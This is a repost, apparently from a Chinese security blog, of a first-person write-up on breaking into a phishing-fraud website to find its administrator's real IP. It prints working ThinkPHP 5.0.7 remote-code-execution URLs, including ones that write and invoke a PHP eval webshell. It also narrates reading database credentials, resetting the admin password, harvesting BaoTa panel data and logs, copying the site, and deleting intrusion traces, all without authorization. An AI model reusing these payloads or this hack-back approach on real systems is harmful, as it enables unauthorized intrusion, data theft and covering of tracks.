搜索

[18055] 2021-08-25_【渗透实战系列】27-对钓鱼诈骗网站的渗透测试（成功获取管理员真实IP）

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-25_【渗透实战系列】27-对钓鱼诈骗网站的渗透测试（成功获取管理员真实IP） 【 渗 透 实 战 系 列 】 2 7 | - 对 钓 鱼 诈 骗 网 站 的 渗 透 测 试 （ 成 功 获 取 管 理 员 真 实 I P ） 烨 - Y e s e c   H a c k i n g 黑 白 红   2 0 2 1 - 0 8 - 2 5 收 录 于 话 题 # 渗 透 测 试   , 4 # 渗 透 实 战   , 3 # 钓 鱼 网 站   , 1 # 诈 骗 网 站   , 1 一 个 学 长 前 几 天 不 幸 在 钓 鱼 网 站 中 招 被 骗 走 一 些 资 金 ， 在 联 系 有 关 部 门 前 找 到 了 我 看 看 能 不 能 获 取 到 一 些 有 用 的 信 息 以 便 于 有 关 部 门 行 动 。 渗 透 步 骤 和 知 识 点 ： 0 1 信 息 收 集 信 息 收 集 在 对 网 站 进 行 初 步 信 息 收 集 后 发 现 网 站 使 用 T h i n k P H P   5 . 0 . 7 框 架 ， 直 接 找 到 T h i n k P H P 对 应 版 本 的 E x p 进 行 尝 试 ： 成 功 弹 出 p h p i n f o ， T h i n k P H P 的 R C E 漏 洞 没 有 修 复 ， 并 且 通 过 p h p i n f o 可 以 看 出 服 务 器 使 用 宝 塔 搭 建 ， 运 行 W i n d o w s 系 统 ， 本 想 着 接 下 来 的 事 情 就 非 常 简 单 了 ， 但 是 当 我 写 S h e l l 时 遇 到 了 困 难 。 0 2 尝 试 写 马 尝 试 写 马 g e t s h e l l 文 件 被 成 功 写 入 ， 但 是 却 直 接 输 出 在 了 页 面 中 ， 查 看 源 代 码 发 现 被 转 义 为 了 H T M L 实 体 编 码 ： 在 尝 试 利 用 b a s e 6 4 编 码 后 再 写 入 ， 发 现 依 然 被 转 义 ， 直 接 命 令 执 行 试 一 试 ： 发 现 并 没 有 出 现 回 显 ， 尝 试 反 弹 S h e l l 也 无 功 而 返 ， 这 个 时 候 感 觉 到 s y s t e m 可 能 被 禁 用 了 ， 改 用 e v a l 依 旧 无 果 ， 最 后 使 用 a s s e r t 发 现 可 以 成 功 执 行 ， 直 接 构 造 S h e l l 连 接 ： 得 到 S h e l l 后 先 尝 试 执 行 命 令 ， 但 是 命 令 依 旧 无 法 正 常 执 行 ， 尝 试 突 破 d i s a b l e s _ f u n c t i o n 但 失 败 了 。 0 3 信 息 搜 集 尝 试 写 马 g e t s h e l l t h i n k p h p 文 件 泄 露 获 取 账 号 连 接 数 据 登 录 后 台 宝 塔 数 据 文 件 获 取 管 理 员 I P h t t p : / / w w w . h u * * * * * . * * * / i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = p h p i n f o & v a r s [ 0 ] = 1   / / 执 行 p h p i n f o h t t p : / / w w w . h u * * * * * . * * * / i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = f i l e _ p u t _ c o n t e n t s & v a r s [ 1 ] [ ] = y e . p h p & v a r s [ 1 ] [ ] = < ? p h p   e v a l ( $ _ P O S T [ ' c m d ' ] ) ; ? > <   > h t t p : / / w w w . h u * * * * * . * * * / i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = d i r h t t p : / / w w w . h u * * * * * . * * * / i n d e x . p h p ? s = / i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = a s s e r t & v a r s [ 1 ] [ ] = @ e v a l ( $ _ P O S T [ y e ] )
文 件 泄 漏 文 件 泄 漏 这 个 时 候 思 路 转 换 一 下 ， 查 看 T h i n k P H P 框 架 的 服 务 器 配 置 文 件 得 到 M y S Q L 数 据 库 账 户 0 4 连 接 数 据 库 连 接 数 据 库 连 接 数 据 库 ： 查 询 后 台 管 理 员 数 据 ： / a p p l i c a t i o n / d a t a b a s e . p h p
却 发 现 m d 5 无 法 解 开 ， 但 是 大 致 查 看 了 数 据 库 中 的 数 据 ， 到 这 里 并 没 有 发 现 什 么 有 较 大 帮 助 的 数 据 ， 因 而 并 没 有 考 虑 继 续 死 磕 在 后 台 账 户 上 接 下 来 的 主 要 重 心 应 放 在 对 于 该 站 点 管 理 员 的 信 息 收 集 上 ， 先 查 看 一 下 T h i n k P H P 框 架 中 的 日 志 记 录 文 件 在 日 志 中 发 现 s y s t e m 函 数 果 然 被 禁 用 了 ： 0 5 登 录 后 台 登 录 后 台 与 此 同 时 也 在 日 志 中 发 现 了 一 条 刚 才 检 查 数 据 库 时 忽 略 掉 的 重 要 数 据 — — 后 台 管 理 员 最 后 登 陆 后 台 管 理 员 最 后 登 陆 I P ： 翻 阅 前 几 日 记 录 发 现 最 后 登 陆 I P 都 是 这 个 I P 地 址 ， 怀 疑 这 就 是 网 站 管 理 员 I P 地 址 ， 反 馈 给 学 长 后 查 询 了 一 下 该 I P ， 发 现 是 香 港 的 I P ， 心 里 一 慌 ： 这 应 该 是 挂 了 V   P   N 了 吧 结 果 不 出 所 料 ： 接 下 来 的 工 作 陷 入 了 僵 局 ， 翻 阅 T h i n k P H P 的 日 志 后 并 没 有 发 现 其 他 I P 的 登 陆 数 据 ， 修 改 数 据 库 中 后 台 管 理 员 账 户 密 码 ， 登 录 后 台 后 也 没 有 发 现 任 何 有 用 的 信 息 ， 只 有 一 些 钓 鱼 文 章 的 管 理 ： / r u n t i m e / l o g / 2 0 2 1 0 7 / 0 5 . l o g 1 0 1 . 7 8 . * . *
0 6 宝 塔 账 户 信 息 泄 露 宝 塔 账 户 信 息 泄 露 后 来 和 一 个 大 师 傅 交 流 了 一 下 ， 大 师 傅 建 议 查 一 下 看 宝 塔 中 有 没 有 留 下 有 用 信 息 ， 在 中 找 到 了 宝 塔 面 板 的 数 据 文 件 ， 获 取 到 宝 塔 的 账 户 信 息 ： 同 时 也 查 阅 了 一 下 宝 塔 数 据 库 中 的 l o g 日 志 内 容 ： 但 是 却 无 法 解 出 密 码 ， 这 时 可 以 通 过 覆 盖 d b 文 件 重 新 设 置 账 户 密 码 ， 但 该 方 法 需 要 重 启 面 板 ， 受 限 于 我 们 目 前 的 情 况 ， 这 个 办 法 很 难 实 现 于 是 思 路 再 次 陷 入 了 僵 局 中 ， 睡 了 一 觉 第 二 天 醒 来 想 起 宝 塔 面 板 会 有 请 求 记 录 日 志 ， 于 是 在   中 找 到 了 大 量 以 j s o n 形 式 储 存 的 请 求 信 息 0 7 获 取 真 实 获 取 真 实 I P 打 开 时 间 较 早 的 日 志 文 件 ， 果 然 有 所 突 破 （ 有 可 能 是 V   P   N 不 稳 定 ， 在 操 作 时 突 然 挂 掉 了 ， 导 致 真 实 I P 的 泄 漏 ） ： 在 查 询 后 ， 发 现 是 辽 宁 沈 阳 的 I P 地 址 ， 用 网 上 的 工 具 进 行 大 致 定 位 反 馈 给 学 长 顺 带 将 网 站 的 源 码 、 数 据 库 、 l o g 日 志 文 件 进 行 打 包 取 证 ， 一 并 收 集 起 来 ， 最 后 再 删 掉 我 们 在 渗 透 时 留 下 的 请 求 记 录 完 事 收 工 原 文 链 接 ： h t t p s : / / w w w . c n b l o g s . c o m / y e s e c / p / 1 4 9 8 3 9 0 3 . h t m l 声 明 ： 文 中 技 术 主 要 用 于 学 习 研 究 ， 侵 权 必 须 删 。 推 荐 阅 读 ： 推 荐 阅 读 ： 渗 透 实 战 系 列 渗 透 实 战 系 列 ▶ 【 渗 透 实 战 系 列 】 2 6 | 一 记 某 c m s 审 计 过 程 ( 步 骤 详 细 ) ▶ 【 渗 透 实 战 系 列 】 2 5 | 一 次 从   A P P   逆 向 到   G e t s h e l l   的 过 程 ▶ 【 渗 透 实 战 系 列 】 2 4 | - 针 对 C M S 的 S Q L 注 入 漏 洞 的 代 码 审 计 思 路 和 方 法 ▶ 【 渗 透 实 战 系 列 】 2 3 | - 某 菠 菜 网 站 渗 透 实 战 ▶ 【 渗 透 实 战 系 列 】 2 2 | - 渗 透 系 列 之 打 击 彩 票 站 C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b C : / B t S o f t / p a n e l / l o g s / r e q u e s t / 1 7 5 . 1 6 7 . * . *  
▶ 【 渗 透 实 战 系 列 】 2 1 | 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 ▶ 【 渗 透 实 战 系 列 】 2 0 | - 渗 透 直 播 网 站 ▶ 【 渗 透 实 战 系 列 】 1 9 | - 杀 猪 盘 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 1 8 - 手 动 拿 学 校 站 点   得 到 上 万 人 的 信 息 （ 漏 洞 已 提 交 ） ▶ 【 渗 透 实 战 系 列 】 | 1 7 - 巧 用 f o f a 对 目 标 网 站 进 行 g e t s h e l l ▶ 【 渗 透 实 战 系 列 】 ｜ 1 6 - 裸 聊 A P P 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 5 - 博 彩 网 站 （ A P P ） 渗 透 的 常 见 切 入 点 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 4 - 对 诈 骗 （ 杀 猪 盘 ） 网 站 的 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 3 - w a f 绕 过 拿 下 赌 博 网 站 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 2   - 渗 透 实 战 ，   被 骗 4 0 0 0 花 呗 背 后 的 骗 局 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 1   -   赌 博 站 人 人 得 而 诛 之 ▶ 【 渗 透 实 战 系 列 】 | 1 0   -   记 某 色 X 商 城 支 付 逻 辑 漏 洞 的 白 嫖 （ 修 改 价 格 提 交 订 单 ） ▶ 【 渗 透 实 战 系 列 】 | 9 - 对 境 外 网 站 开 展 的 一 次 w e b 渗 透 实 战 测 试 （ 非 常 详 细 ， 适 合 打 战 练 手 ） ▶ 【 渗 透 实 战 系 列 】 | 8 - 记 一 次 渗 透 测 试 从 X S S 到 G e t s h e l l 过 程 （ 详 细 到 无 语 ） ▶ 【 渗 透 实 战 系 列 】 | 7 - 记 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 ▶ 【 渗 透 实 战 系 列 】 | 6 -   B C 杀 猪 盘 渗 透 一 条 龙 ( 文 末 附 【 渗 透 实 战 系 列 】 其 他 文 章 链 接 ) ▶ 【 渗 透 实 战 系 列 】 | 5 - 记 一 次 内 衣 网 站 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 | 4 - 看 我 如 何 拿 下 B C 站 的 服 务 器 ▶ 【 渗 透 实 战 系 列 】 | 3 - 一 次 简 单 的 渗 透 ▶ 【 渗 透 实 战 系 列 】 | 2 - 记 一 次 后 门 爆 破 到 提 权 实 战 案 例 ▶ 【 渗 透 实 战 系 列 】 | 1 一 次 对 跨 境 赌 博 类 A P P 的 渗 透 实 战 （ g e t s h e l l 并 获 得 全 部 数 据 ） 长 按 长 按 - 识 别 识 别 - 关 注 关 注 H a c k i n g 黑 白 红 黑 白 红 一 个 专 注 信 息 安 全 技 术 的 学 习 平 台 点 分 享 点 分 享 点 收 藏 点 收 藏 点 点 赞 点 点 赞 点 在 看 点 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理